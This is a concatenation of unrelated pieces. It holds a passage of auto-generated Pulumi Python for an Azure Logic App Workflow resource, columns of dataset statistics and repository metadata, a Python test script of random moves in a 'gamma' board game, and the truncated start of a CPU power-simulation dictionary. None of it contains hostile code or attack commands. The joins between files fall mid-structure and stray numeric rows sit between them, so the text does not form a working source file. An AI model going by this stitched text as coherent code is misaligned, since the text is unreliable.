def tags(self) -> Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]]:
"""
A mapping of tags to assign to the resource.
"""
return pulumi.get(self, "tags")
@tags.setter
def tags(self, value: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]]):
pulumi.set(self, "tags", value)
@property
@pulumi.getter(name="workflowEndpointIpAddresses")
def workflow_endpoint_ip_addresses(self) -> Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]:
"""
The list of access endpoint ip addresses of workflow.
"""
return pulumi.get(self, "workflow_endpoint_ip_addresses")
@workflow_endpoint_ip_addresses.setter
def workflow_endpoint_ip_addresses(self, value: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]):
pulumi.set(self, "workflow_endpoint_ip_addresses", value)
@property
@pulumi.getter(name="workflowOutboundIpAddresses")
def workflow_outbound_ip_addresses(self) -> Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]:
"""
The list of outgoing ip addresses of workflow.
"""
return pulumi.get(self, "workflow_outbound_ip_addresses")
@workflow_outbound_ip_addresses.setter
def workflow_outbound_ip_addresses(self, value: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]):
pulumi.set(self, "workflow_outbound_ip_addresses", value)
@property
@pulumi.getter(name="workflowParameters")
def workflow_parameters(self) -> Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]]:
"""
Specifies a map of Key-Value pairs of the Parameter Definitions to use for this Logic App Workflow. The key is the parameter name, and the value is a json encoded string of the parameter definition (see: https://docs.microsoft.com/en-us/azure/logic-apps/logic-apps-workflow-definition-language#parameters).
"""
return pulumi.get(self, "workflow_parameters")
@workflow_parameters.setter
def workflow_parameters(self, value: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]]):
pulumi.set(self, "workflow_parameters", value)
@property
@pulumi.getter(name="workflowSchema")
def workflow_schema(self) -> Optional[pulumi.Input[str]]:
"""
Specifies the Schema to use for this Logic App Workflow. Defaults to `https://schema.management.azure.com/providers/Microsoft.Logic/schemas/2016-06-01/workflowdefinition.json#`. Changing this forces a new resource to be created.
"""
return pulumi.get(self, "workflow_schema")
@workflow_schema.setter
def workflow_schema(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "workflow_schema", value)
@property
@pulumi.getter(name="workflowVersion")
def workflow_version(self) -> Optional[pulumi.Input[str]]:
"""
Specifies the version of the Schema used for this Logic App Workflow. Defaults to `1.0.0.0`. Changing this forces a new resource to be created.
"""
return pulumi.get(self, "workflow_version")
@workflow_version.setter
def workflow_version(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "workflow_version", value)
class Workflow(pulumi.CustomResource):
@overload
def __init__(__self__,
resource_name: str,
opts: Optional[pulumi.ResourceOptions] = None,
integration_service_environment_id: Optional[pulumi.Input[str]] = None,
location: Optional[pulumi.Input[str]] = None,
logic_app_integration_account_id: Optional[pulumi.Input[str]] = None,
name: Optional[pulumi.Input[str]] = None,
parameters: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]] = None,
resource_group_name: Optional[pulumi.Input[str]] = None,
tags: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]] = None,
workflow_parameters: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]] = None,
workflow_schema: Optional[pulumi.Input[str]] = None,
workflow_version: Optional[pulumi.Input[str]] = None,
__props__=None):
"""
Manages a Logic App Workflow.
## Example Usage
```python
import pulumi
import pulumi_azure as azure
example_resource_group = azure.core.ResourceGroup("exampleResourceGroup", location="West Europe")
example_workflow = azure.logicapps.Workflow("exampleWorkflow",
location=example_resource_group.location,
resource_group_name=example_resource_group.name)
```
## Import
Logic App Workflows can be imported using the `resource id`, e.g.
```sh
$ pulumi import azure:logicapps/workflow:Workflow workflow1 /subscriptions/00000000-0000-0000-0000-000000000000/resourceGroups/mygroup1/providers/Microsoft.Logic/workflows/workflow1
```
:param str resource_name: The name of the resource.
:param pulumi.ResourceOptions opts: Options for the resource.
:param pulumi.Input[str] integration_service_environment_id: The ID of the Integration Service Environment to which this Logic App Workflow belongs. Changing this forces a new Logic App Workflow to be created.
:param pulumi.Input[str] location: Specifies the supported Azure location where the Logic App Workflow exists. Changing this forces a new resource to be created.
:param pulumi.Input[str] logic_app_integration_account_id: The ID of the integration account linked by this Logic App Workflow.
:param pulumi.Input[str] name: Specifies the name of the Logic App Workflow. Changing this forces a new resource to be created.
:param pulumi.Input[Mapping[str, pulumi.Input[str]]] parameters: A map of Key-Value pairs.
:param pulumi.Input[str] resource_group_name: The name of the Resource Group in which the Logic App Workflow should be created. Changing this forces a new resource to be created.
:param pulumi.Input[Mapping[str, pulumi.Input[str]]] tags: A mapping of tags to assign to the resource.
:param pulumi.Input[Mapping[str, pulumi.Input[str]]] workflow_parameters: Specifies a map of Key-Value pairs of the Parameter Definitions to use for this Logic App Workflow. The key is the parameter name, and the value is a json encoded string of the parameter definition (see: https://docs.microsoft.com/en-us/azure/logic-apps/logic-apps-workflow-definition-language#parameters).
:param pulumi.Input[str] workflow_schema: Specifies the Schema to use for this Logic App Workflow. Defaults to `https://schema.management.azure.com/providers/Microsoft.Logic/schemas/2016-06-01/workflowdefinition.json#`. Changing this forces a new resource to be created.
:param pulumi.Input[str] workflow_version: Specifies the version of the Schema used for this Logic App Workflow. Defaults to `1.0.0.0`. Changing this forces a new resource to be created.
"""
...
@overload
def __init__(__self__,
resource_name: str,
args: WorkflowArgs,
opts: Optional[pulumi.ResourceOptions] = None):
"""
Manages a Logic App Workflow.
## Example Usage
```python
import pulumi
import pulumi_azure as azure
example_resource_group = azure.core.ResourceGroup("exampleResourceGroup", location="West Europe")
example_workflow = azure.logicapps.Workflow("exampleWorkflow",
location=example_resource_group.location,
resource_group_name=example_resource_group.name)
```
## Import
Logic App Workflows can be imported using the `resource id`, e.g.
```sh
$ pulumi import azure:logicapps/workflow:Workflow workflow1 /subscriptions/00000000-0000-0000-0000-000000000000/resourceGroups/mygroup1/providers/Microsoft.Logic/workflows/workflow1
```
:param str resource_name: The name of the resource.
:param WorkflowArgs args: The arguments to use to populate this resource's properties.
:param pulumi.ResourceOptions opts: Options for the resource.
"""
...
def __init__(__self__, resource_name: str, *args, **kwargs):
resource_args, opts = _utilities.get_resource_args_opts(WorkflowArgs, pulumi.ResourceOptions, *args, **kwargs)
if resource_args is not None:
__self__._internal_init(resource_name, opts, **resource_args.__dict__)
else:
__self__._internal_init(resource_name, *args, **kwargs)
def _internal_init(__self__,
resource_name: str,
opts: Optional[pulumi.ResourceOptions] = None,
integration_service_environment_id: Optional[pulumi.Input[str]] = None,
location: Optional[pulumi.Input[str]] = None,
logic_app_integration_account_id: Optional[pulumi.Input[str]] = None,
name: Optional[pulumi.Input[str]] = None,
parameters: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]] = None,
resource_group_name: Optional[pulumi.Input[str]] = None,
tags: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]] = None,
workflow_parameters: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]] = None,
workflow_schema: Optional[pulumi.Input[str]] = None,
workflow_version: Optional[pulumi.Input[str]] = None,
__props__=None):
if opts is None:
opts = pulumi.ResourceOptions()
if not isinstance(opts, pulumi.ResourceOptions):
raise TypeError('Expected resource options to be a ResourceOptions instance')
if opts.version is None:
opts.version = _utilities.get_version()
if opts.id is None:
if __props__ is not None:
raise TypeError('__props__ is only valid when passed in combination with a valid opts.id to get an existing resource')
__props__ = WorkflowArgs.__new__(WorkflowArgs)
__props__.__dict__["integration_service_environment_id"] = integration_service_environment_id
__props__.__dict__["location"] = location
__props__.__dict__["logic_app_integration_account_id"] = logic_app_integration_account_id
__props__.__dict__["name"] = name
__props__.__dict__["parameters"] = parameters
if resource_group_name is None and not opts.urn:
raise TypeError("Missing required property 'resource_group_name'")
__props__.__dict__["resource_group_name"] = resource_group_name
__props__.__dict__["tags"] = tags
__props__.__dict__["workflow_parameters"] = workflow_parameters
__props__.__dict__["workflow_schema"] = workflow_schema
__props__.__dict__["workflow_version"] = workflow_version
__props__.__dict__["access_endpoint"] = None
__props__.__dict__["connector_endpoint_ip_addresses"] = None
__props__.__dict__["connector_outbound_ip_addresses"] = None
__props__.__dict__["workflow_endpoint_ip_addresses"] = None
__props__.__dict__["workflow_outbound_ip_addresses"] = None
super(Workflow, __self__).__init__(
'azure:logicapps/workflow:Workflow',
resource_name,
__props__,
opts)
@staticmethod
def get(resource_name: str,
id: pulumi.Input[str],
opts: Optional[pulumi.ResourceOptions] = None,
access_endpoint: Optional[pulumi.Input[str]] = None,
connector_endpoint_ip_addresses: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None,
connector_outbound_ip_addresses: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None,
integration_service_environment_id: Optional[pulumi.Input[str]] = None,
location: Optional[pulumi.Input[str]] = None,
logic_app_integration_account_id: Optional[pulumi.Input[str]] = None,
name: Optional[pulumi.Input[str]] = None,
parameters: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]] = None,
resource_group_name: Optional[pulumi.Input[str]] = None,
tags: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]] = None,
workflow_endpoint_ip_addresses: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None,
workflow_outbound_ip_addresses: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None,
workflow_parameters: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]] = None,
workflow_schema: Optional[pulumi.Input[str]] = None,
workflow_version: Optional[pulumi.Input[str]] = None) -> 'Workflow':
"""
Get an existing Workflow resource's state with the given name, id, and optional extra
properties used to qualify the lookup.
:param str resource_name: The unique name of the resulting resource.
:param pulumi.Input[str] id: The unique provider ID of the resource to lookup.
:param pulumi.ResourceOptions opts: Options for the resource.
:param pulumi.Input[str] access_endpoint: The Access Endpoint for the Logic App Workflow.
:param pulumi.Input[Sequence[pulumi.Input[str]]] connector_endpoint_ip_addresses: The list of access endpoint ip addresses of connector.
:param pulumi.Input[Sequence[pulumi.Input[str]]] connector_outbound_ip_addresses: The list of outgoing ip addresses of connector.
:param pulumi.Input[str] integration_service_environment_id: The ID of the Integration Service Environment to which this Logic App Workflow belongs. Changing this forces a new Logic App Workflow to be created.
:param pulumi.Input[str] location: Specifies the supported Azure location where the Logic App Workflow exists. Changing this forces a new resource to be created.
:param pulumi.Input[str] logic_app_integration_account_id: The ID of the integration account linked by this Logic App Workflow.
:param pulumi.Input[str] name: Specifies the name of the Logic App Workflow. Changing this forces a new resource to be created.
:param pulumi.Input[Mapping[str, pulumi.Input[str]]] parameters: A map of Key-Value pairs.
:param pulumi.Input[str] resource_group_name: The name of the Resource Group in which the Logic App Workflow should be created. Changing this forces a new resource to be created.
:param pulumi.Input[Mapping[str, pulumi.Input[str]]] tags: A mapping of tags to assign to the resource.
:param pulumi.Input[Sequence[pulumi.Input[str]]] workflow_endpoint_ip_addresses: The list of access endpoint ip addresses of workflow.
:param pulumi.Input[Sequence[pulumi.Input[str]]] workflow_outbound_ip_addresses: The list of outgoing ip addresses of workflow.
:param pulumi.Input[Mapping[str, pulumi.Input[str]]] workflow_parameters: Specifies a map of Key-Value pairs of the Parameter Definitions to use for this Logic App Workflow. The key is the parameter name, and the value is a json encoded string of the parameter definition (see: https://docs.microsoft.com/en-us/azure/logic-apps/logic-apps-workflow-definition-language#parameters).
:param pulumi.Input[str] workflow_schema: Specifies the Schema to use for this Logic App Workflow. Defaults to `https://schema.management.azure.com/providers/Microsoft.Logic/schemas/2016-06-01/workflowdefinition.json#`. Changing this forces a new resource to be created.
:param pulumi.Input[str] workflow_version: Specifies the version of the Schema used for this Logic App Workflow. Defaults to `1.0.0.0`. Changing this forces a new resource to be created.
"""
opts = pulumi.ResourceOptions.merge(opts, pulumi.ResourceOptions(id=id))
__props__ = _WorkflowState.__new__(_WorkflowState)
__props__.__dict__["access_endpoint"] = access_endpoint
__props__.__dict__["connector_endpoint_ip_addresses"] = connector_endpoint_ip_addresses
__props__.__dict__["connector_outbound_ip_addresses"] = connector_outbound_ip_addresses
__props__.__dict__["integration_service_environment_id"] = integration_service_environment_id
__props__.__dict__["location"] = location
__props__.__dict__["logic_app_integration_account_id"] = logic_app_integration_account_id
__props__.__dict__["name"] = name
__props__.__dict__["parameters"] = parameters
__props__.__dict__["resource_group_name"] = resource_group_name
__props__.__dict__["tags"] = tags
__props__.__dict__["workflow_endpoint_ip_addresses"] = workflow_endpoint_ip_addresses
__props__.__dict__["workflow_outbound_ip_addresses"] = workflow_outbound_ip_addresses
__props__.__dict__["workflow_parameters"] = workflow_parameters
__props__.__dict__["workflow_schema"] = workflow_schema
__props__.__dict__["workflow_version"] = workflow_version
return Workflow(resource_name, opts=opts, __props__=__props__)
@property
@pulumi.getter(name="accessEndpoint")
def access_endpoint(self) -> pulumi.Output[str]:
"""
The Access Endpoint for the Logic App Workflow.
"""
return pulumi.get(self, "access_endpoint")
@property
@pulumi.getter(name="connectorEndpointIpAddresses")
def connector_endpoint_ip_addresses(self) -> pulumi.Output[Sequence[str]]:
"""
The list of access endpoint ip addresses of connector.
"""
return pulumi.get(self, "connector_endpoint_ip_addresses")
@property
@pulumi.getter(name="connectorOutboundIpAddresses")
def connector_outbound_ip_addresses(self) -> pulumi.Output[Sequence[str]]:
"""
The list of outgoing ip addresses of connector.
"""
return pulumi.get(self, "connector_outbound_ip_addresses")
@property
@pulumi.getter(name="integrationServiceEnvironmentId")
def integration_service_environment_id(self) -> pulumi.Output[Optional[str]]:
"""
The ID of the Integration Service Environment to which this Logic App Workflow belongs. Changing this forces a new Logic App Workflow to be created.
"""
return pulumi.get(self, "integration_service_environment_id")
@property
@pulumi.getter
def location(self) -> pulumi.Output[str]:
"""
Specifies the supported Azure location where the Logic App Workflow exists. Changing this forces a new resource to be created.
"""
return pulumi.get(self, "location")
@property
@pulumi.getter(name="logicAppIntegrationAccountId")
def logic_app_integration_account_id(self) -> pulumi.Output[Optional[str]]:
"""
The ID of the integration account linked by this Logic App Workflow.
"""
return pulumi.get(self, "logic_app_integration_account_id")
@property
@pulumi.getter
def name(self) -> pulumi.Output[str]:
"""
Specifies the name of the Logic App Workflow. Changing this forces a new resource to be created.
"""
return pulumi.get(self, "name")
@property
@pulumi.getter
def parameters(self) -> pulumi.Output[Optional[Mapping[str, str]]]:
"""
A map of Key-Value pairs.
"""
return pulumi.get(self, "parameters")
@property
@pulumi.getter(name="resourceGroupName")
def resource_group_name(self) -> pulumi.Output[str]:
"""
The name of the Resource Group in which the Logic App Workflow should be created. Changing this forces a new resource to be created.
"""
return pulumi.get(self, "resource_group_name")
@property
@pulumi.getter
def tags(self) -> pulumi.Output[Optional[Mapping[str, str]]]:
"""
A mapping of tags to assign to the resource.
"""
return pulumi.get(self, "tags")
@property
@pulumi.getter(name="workflowEndpointIpAddresses")
def workflow_endpoint_ip_addresses(self) -> pulumi.Output[Sequence[str]]:
"""
The list of access endpoint ip addresses of workflow.
"""
return pulumi.get(self, "workflow_endpoint_ip_addresses")
@property
@pulumi.getter(name="workflowOutboundIpAddresses")
def workflow_outbound_ip_addresses(self) -> pulumi.Output[Sequence[str]]:
"""
The list of outgoing ip addresses of workflow.
"""
return pulumi.get(self, "workflow_outbound_ip_addresses")
@property
@pulumi.getter(name="workflowParameters")
def workflow_parameters(self) -> pulumi.Output[Optional[Mapping[str, str]]]:
"""
Specifies a map of Key-Value pairs of the Parameter Definitions to use for this Logic App Workflow. The key is the parameter name, and the value is a json encoded string of the parameter definition (see: https://docs.microsoft.com/en-us/azure/logic-apps/logic-apps-workflow-definition-language#parameters).
"""
return pulumi.get(self, "workflow_parameters")
@property
@pulumi.getter(name="workflowSchema")
def workflow_schema(self) -> pulumi.Output[Optional[str]]:
"""
Specifies the Schema to use for this Logic App Workflow. Defaults to `https://schema.management.azure.com/providers/Microsoft.Logic/schemas/2016-06-01/workflowdefinition.json#`. Changing this forces a new resource to be created.
"""
return pulumi.get(self, "workflow_schema")
@property
@pulumi.getter(name="workflowVersion")
def workflow_version(self) -> pulumi.Output[Optional[str]]:
"""
Specifies the version of the Schema used for this Logic App Workflow. Defaults to `1.0.0.0`. Changing this forces a new resource to be created.
"""
return pulumi.get(self, "workflow_version")
| 55.216755
| 388
| 0.695928
| 5,146
| 41,523
| 5.401671
| 0.042557
| 0.08983
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| 0.929021
| 0.912185
| 0.905709
| 0.889269
| 0.859805
| 0
| 0.004715
| 0.208366
| 41,523
| 751
| 389
| 55.29028
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| 0.762125
| 1
| 0
| 0.128925
| 0.072661
| 0
| 0
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| 0
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| 0.166282
| false
| 0.002309
| 0.011547
| 0
| 0.279446
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
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| 1
| 1
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| 1
| 1
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| 0
|
0
| 8
|
e3e409b09c2699fe76918ced3b7eb6257cb6cb17
| 5,432
|
py
|
Python
|
z2/part2/interactive/jm/random_fuzzy_arrows_1/477093562.py
|
kozakusek/ipp-2020-testy
|
09aa008fa53d159672cc7cbf969a6b237e15a7b8
|
[
"MIT"
] | 1
|
2020-04-16T12:13:47.000Z
|
2020-04-16T12:13:47.000Z
|
z2/part2/interactive/jm/random_fuzzy_arrows_1/477093562.py
|
kozakusek/ipp-2020-testy
|
09aa008fa53d159672cc7cbf969a6b237e15a7b8
|
[
"MIT"
] | 18
|
2020-03-06T17:50:15.000Z
|
2020-05-19T14:58:30.000Z
|
z2/part2/interactive/jm/random_fuzzy_arrows_1/477093562.py
|
kozakusek/ipp-2020-testy
|
09aa008fa53d159672cc7cbf969a6b237e15a7b8
|
[
"MIT"
] | 18
|
2020-03-06T17:45:13.000Z
|
2020-06-09T19:18:31.000Z
|
from part1 import (
gamma_board,
gamma_busy_fields,
gamma_delete,
gamma_free_fields,
gamma_golden_move,
gamma_golden_possible,
gamma_move,
gamma_new,
)
"""
scenario: test_random_actions
uuid: 477093562
"""
"""
random actions, total chaos
"""
board = gamma_new(5, 7, 4, 6)
assert board is not None
assert gamma_move(board, 1, 0, 1) == 1
assert gamma_move(board, 2, 4, 2) == 1
assert gamma_move(board, 3, 1, 3) == 1
assert gamma_move(board, 3, 4, 2) == 0
assert gamma_free_fields(board, 3) == 32
assert gamma_golden_possible(board, 3) == 1
assert gamma_move(board, 4, 4, 5) == 1
assert gamma_move(board, 1, 2, 0) == 1
assert gamma_move(board, 1, 3, 6) == 1
assert gamma_move(board, 2, 3, 3) == 1
assert gamma_move(board, 2, 2, 1) == 1
assert gamma_move(board, 4, 1, 1) == 1
assert gamma_move(board, 4, 4, 5) == 0
assert gamma_move(board, 1, 1, 1) == 0
assert gamma_move(board, 3, 4, 1) == 1
assert gamma_move(board, 4, 6, 4) == 0
assert gamma_golden_possible(board, 4) == 1
assert gamma_move(board, 1, 3, 0) == 1
assert gamma_busy_fields(board, 1) == 4
assert gamma_move(board, 2, 3, 2) == 1
assert gamma_golden_possible(board, 2) == 1
assert gamma_move(board, 3, 4, 2) == 0
assert gamma_move(board, 3, 1, 6) == 1
assert gamma_golden_possible(board, 3) == 1
assert gamma_move(board, 4, 0, 4) == 1
assert gamma_move(board, 4, 3, 4) == 1
board442319314 = gamma_board(board)
assert board442319314 is not None
assert board442319314 == (".3.1.\n"
"....4\n"
"4..4.\n"
".3.2.\n"
"...22\n"
"142.3\n"
"..11.\n")
del board442319314
board442319314 = None
assert gamma_free_fields(board, 1) == 20
assert gamma_move(board, 2, 0, 1) == 0
assert gamma_move(board, 2, 2, 6) == 1
assert gamma_move(board, 3, 3, 4) == 0
assert gamma_move(board, 3, 3, 4) == 0
assert gamma_move(board, 4, 5, 1) == 0
assert gamma_move(board, 4, 2, 1) == 0
assert gamma_move(board, 1, 4, 2) == 0
assert gamma_move(board, 2, 5, 0) == 0
assert gamma_golden_possible(board, 2) == 1
assert gamma_golden_move(board, 2, 4, 3) == 0
board424516152 = gamma_board(board)
assert board424516152 is not None
assert board424516152 == (".321.\n"
"....4\n"
"4..4.\n"
".3.2.\n"
"...22\n"
"142.3\n"
"..11.\n")
del board424516152
board424516152 = None
assert gamma_move(board, 3, 5, 3) == 0
assert gamma_move(board, 4, 5, 0) == 0
assert gamma_free_fields(board, 4) == 19
assert gamma_move(board, 1, 4, 1) == 0
assert gamma_move(board, 2, 2, 5) == 1
assert gamma_free_fields(board, 2) == 18
assert gamma_move(board, 3, 2, 0) == 0
assert gamma_move(board, 4, 5, 3) == 0
assert gamma_free_fields(board, 4) == 18
assert gamma_move(board, 1, 2, 2) == 1
assert gamma_move(board, 2, 1, 5) == 1
assert gamma_golden_move(board, 2, 0, 3) == 0
assert gamma_move(board, 3, 2, 5) == 0
assert gamma_move(board, 4, 0, 1) == 0
assert gamma_move(board, 1, 2, 6) == 0
assert gamma_free_fields(board, 1) == 16
assert gamma_move(board, 2, 3, 2) == 0
assert gamma_move(board, 2, 2, 3) == 1
assert gamma_free_fields(board, 2) == 15
assert gamma_move(board, 3, 4, 2) == 0
assert gamma_move(board, 4, 1, 3) == 0
assert gamma_golden_possible(board, 4) == 1
assert gamma_move(board, 1, 1, 3) == 0
assert gamma_move(board, 2, 4, 2) == 0
assert gamma_move(board, 2, 3, 4) == 0
assert gamma_move(board, 3, 4, 1) == 0
assert gamma_move(board, 4, 4, 4) == 1
assert gamma_move(board, 1, 3, 4) == 0
assert gamma_move(board, 2, 4, 1) == 0
assert gamma_move(board, 2, 1, 2) == 1
assert gamma_move(board, 3, 4, 3) == 1
assert gamma_move(board, 4, 0, 0) == 1
assert gamma_move(board, 1, 0, 0) == 0
assert gamma_move(board, 1, 0, 2) == 1
assert gamma_move(board, 2, 4, 2) == 0
assert gamma_move(board, 2, 3, 0) == 0
assert gamma_move(board, 3, 4, 2) == 0
assert gamma_move(board, 4, 6, 4) == 0
assert gamma_move(board, 4, 0, 1) == 0
assert gamma_move(board, 1, 2, 1) == 0
assert gamma_move(board, 2, 0, 1) == 0
assert gamma_golden_possible(board, 2) == 1
assert gamma_move(board, 3, 0, 4) == 0
assert gamma_move(board, 3, 2, 5) == 0
assert gamma_move(board, 4, 6, 4) == 0
assert gamma_busy_fields(board, 1) == 6
assert gamma_move(board, 2, 0, 4) == 0
assert gamma_move(board, 3, 6, 0) == 0
assert gamma_move(board, 4, 2, 4) == 1
assert gamma_move(board, 4, 2, 4) == 0
assert gamma_move(board, 2, 5, 3) == 0
assert gamma_move(board, 2, 4, 1) == 0
assert gamma_golden_possible(board, 2) == 1
assert gamma_move(board, 3, 0, 1) == 0
assert gamma_move(board, 4, 0, 4) == 0
assert gamma_move(board, 4, 0, 3) == 1
assert gamma_free_fields(board, 4) == 8
assert gamma_move(board, 1, 3, 2) == 0
assert gamma_move(board, 2, 0, 4) == 0
assert gamma_move(board, 2, 0, 5) == 1
assert gamma_golden_possible(board, 2) == 1
board122270836 = gamma_board(board)
assert board122270836 is not None
assert board122270836 == (".321.\n"
"222.4\n"
"4.444\n"
"43223\n"
"12122\n"
"142.3\n"
"4.11.\n")
del board122270836
board122270836 = None
assert gamma_move(board, 3, 1, 5) == 0
assert gamma_golden_possible(board, 3) == 1
assert gamma_move(board, 4, 0, 4) == 0
assert gamma_golden_possible(board, 4) == 1
assert gamma_move(board, 1, 3, 1) == 1
assert gamma_move(board, 1, 3, 5) == 1
assert gamma_move(board, 4, 6, 0) == 0
assert gamma_move(board, 1, 4, 1) == 0
assert gamma_move(board, 1, 2, 2) == 0
assert gamma_move(board, 2, 0, 1) == 0
assert gamma_busy_fields(board, 2) == 10
gamma_delete(board)
| 31.218391
| 46
| 0.657216
| 998
| 5,432
| 3.42485
| 0.054108
| 0.35079
| 0.373025
| 0.497367
| 0.818022
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py
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Python
|
benchmarks/SimResults/micro_pinned_train_combos/cmpC_sjengleslie3dgobmkmilc/power.py
|
TugberkArkose/MLScheduler
|
e493b6cbf7b9d29a2c9300d7dd6f0c2f102e4061
|
[
"Unlicense"
] | null | null | null |
benchmarks/SimResults/micro_pinned_train_combos/cmpC_sjengleslie3dgobmkmilc/power.py
|
TugberkArkose/MLScheduler
|
e493b6cbf7b9d29a2c9300d7dd6f0c2f102e4061
|
[
"Unlicense"
] | null | null | null |
benchmarks/SimResults/micro_pinned_train_combos/cmpC_sjengleslie3dgobmkmilc/power.py
|
TugberkArkose/MLScheduler
|
e493b6cbf7b9d29a2c9300d7dd6f0c2f102e4061
|
[
"Unlicense"
] | null | null | null |
power = {'BUSES': {'Area': 1.33155,
'Bus/Area': 1.33155,
'Bus/Gate Leakage': 0.00662954,
'Bus/Peak Dynamic': 0.0,
'Bus/Runtime Dynamic': 0.0,
'Bus/Subthreshold Leakage': 0.0691322,
'Bus/Subthreshold Leakage with power gating': 0.0259246,
'Gate Leakage': 0.00662954,
'Peak Dynamic': 0.0,
'Runtime Dynamic': 0.0,
'Subthreshold Leakage': 0.0691322,
'Subthreshold Leakage with power gating': 0.0259246},
'Core': [{'Area': 32.6082,
'Execution Unit/Area': 8.2042,
'Execution Unit/Complex ALUs/Area': 0.235435,
'Execution Unit/Complex ALUs/Gate Leakage': 0.0132646,
'Execution Unit/Complex ALUs/Peak Dynamic': 1.88938e-06,
'Execution Unit/Complex ALUs/Runtime Dynamic': 0.20269,
'Execution Unit/Complex ALUs/Subthreshold Leakage': 0.20111,
'Execution Unit/Complex ALUs/Subthreshold Leakage with power gating': 0.0754163,
'Execution Unit/Floating Point Units/Area': 4.6585,
'Execution Unit/Floating Point Units/Gate Leakage': 0.0656156,
'Execution Unit/Floating Point Units/Peak Dynamic': 2.78304e-05,
'Execution Unit/Floating Point Units/Runtime Dynamic': 0.304033,
'Execution Unit/Floating Point Units/Subthreshold Leakage': 0.994829,
'Execution Unit/Floating Point Units/Subthreshold Leakage with power gating': 0.373061,
'Execution Unit/Gate Leakage': 0.122718,
'Execution Unit/Instruction Scheduler/Area': 2.17927,
'Execution Unit/Instruction Scheduler/FP Instruction Window/Area': 0.328073,
'Execution Unit/Instruction Scheduler/FP Instruction Window/Gate Leakage': 0.00115349,
'Execution Unit/Instruction Scheduler/FP Instruction Window/Peak Dynamic': 1.20978,
'Execution Unit/Instruction Scheduler/FP Instruction Window/Runtime Dynamic': 0.294592,
'Execution Unit/Instruction Scheduler/FP Instruction Window/Subthreshold Leakage': 0.017004,
'Execution Unit/Instruction Scheduler/FP Instruction Window/Subthreshold Leakage with power gating': 0.00962066,
'Execution Unit/Instruction Scheduler/Gate Leakage': 0.00730101,
'Execution Unit/Instruction Scheduler/Instruction Window/Area': 1.00996,
'Execution Unit/Instruction Scheduler/Instruction Window/Gate Leakage': 0.00529112,
'Execution Unit/Instruction Scheduler/Instruction Window/Peak Dynamic': 2.07911,
'Execution Unit/Instruction Scheduler/Instruction Window/Runtime Dynamic': 0.510127,
'Execution Unit/Instruction Scheduler/Instruction Window/Subthreshold Leakage': 0.0800117,
'Execution Unit/Instruction Scheduler/Instruction Window/Subthreshold Leakage with power gating': 0.0455351,
'Execution Unit/Instruction Scheduler/Peak Dynamic': 4.84781,
'Execution Unit/Instruction Scheduler/ROB/Area': 0.841232,
'Execution Unit/Instruction Scheduler/ROB/Gate Leakage': 0.000856399,
'Execution Unit/Instruction Scheduler/ROB/Peak Dynamic': 1.55892,
'Execution Unit/Instruction Scheduler/ROB/Runtime Dynamic': 0.292572,
'Execution Unit/Instruction Scheduler/ROB/Subthreshold Leakage': 0.0178624,
'Execution Unit/Instruction Scheduler/ROB/Subthreshold Leakage with power gating': 0.00897339,
'Execution Unit/Instruction Scheduler/Runtime Dynamic': 1.09729,
'Execution Unit/Instruction Scheduler/Subthreshold Leakage': 0.114878,
'Execution Unit/Instruction Scheduler/Subthreshold Leakage with power gating': 0.0641291,
'Execution Unit/Integer ALUs/Area': 0.47087,
'Execution Unit/Integer ALUs/Gate Leakage': 0.0265291,
'Execution Unit/Integer ALUs/Peak Dynamic': 0.291188,
'Execution Unit/Integer ALUs/Runtime Dynamic': 0.101344,
'Execution Unit/Integer ALUs/Subthreshold Leakage': 0.40222,
'Execution Unit/Integer ALUs/Subthreshold Leakage with power gating': 0.150833,
'Execution Unit/Peak Dynamic': 5.44252,
'Execution Unit/Register Files/Area': 0.570804,
'Execution Unit/Register Files/Floating Point RF/Area': 0.208131,
'Execution Unit/Register Files/Floating Point RF/Gate Leakage': 0.000232788,
'Execution Unit/Register Files/Floating Point RF/Peak Dynamic': 5.25776e-06,
'Execution Unit/Register Files/Floating Point RF/Runtime Dynamic': 0.0106792,
'Execution Unit/Register Files/Floating Point RF/Subthreshold Leakage': 0.00399698,
'Execution Unit/Register Files/Floating Point RF/Subthreshold Leakage with power gating': 0.00176968,
'Execution Unit/Register Files/Gate Leakage': 0.000622708,
'Execution Unit/Register Files/Integer RF/Area': 0.362673,
'Execution Unit/Register Files/Integer RF/Gate Leakage': 0.00038992,
'Execution Unit/Register Files/Integer RF/Peak Dynamic': 0.0772242,
'Execution Unit/Register Files/Integer RF/Runtime Dynamic': 0.0789792,
'Execution Unit/Register Files/Integer RF/Subthreshold Leakage': 0.00614175,
'Execution Unit/Register Files/Integer RF/Subthreshold Leakage with power gating': 0.00246675,
'Execution Unit/Register Files/Peak Dynamic': 0.0772295,
'Execution Unit/Register Files/Runtime Dynamic': 0.0896584,
'Execution Unit/Register Files/Subthreshold Leakage': 0.0101387,
'Execution Unit/Register Files/Subthreshold Leakage with power gating': 0.00423643,
'Execution Unit/Results Broadcast Bus/Area Overhead': 0.0442632,
'Execution Unit/Results Broadcast Bus/Gate Leakage': 0.00607074,
'Execution Unit/Results Broadcast Bus/Peak Dynamic': 0.186606,
'Execution Unit/Results Broadcast Bus/Runtime Dynamic': 0.500946,
'Execution Unit/Results Broadcast Bus/Subthreshold Leakage': 0.0920413,
'Execution Unit/Results Broadcast Bus/Subthreshold Leakage with power gating': 0.0345155,
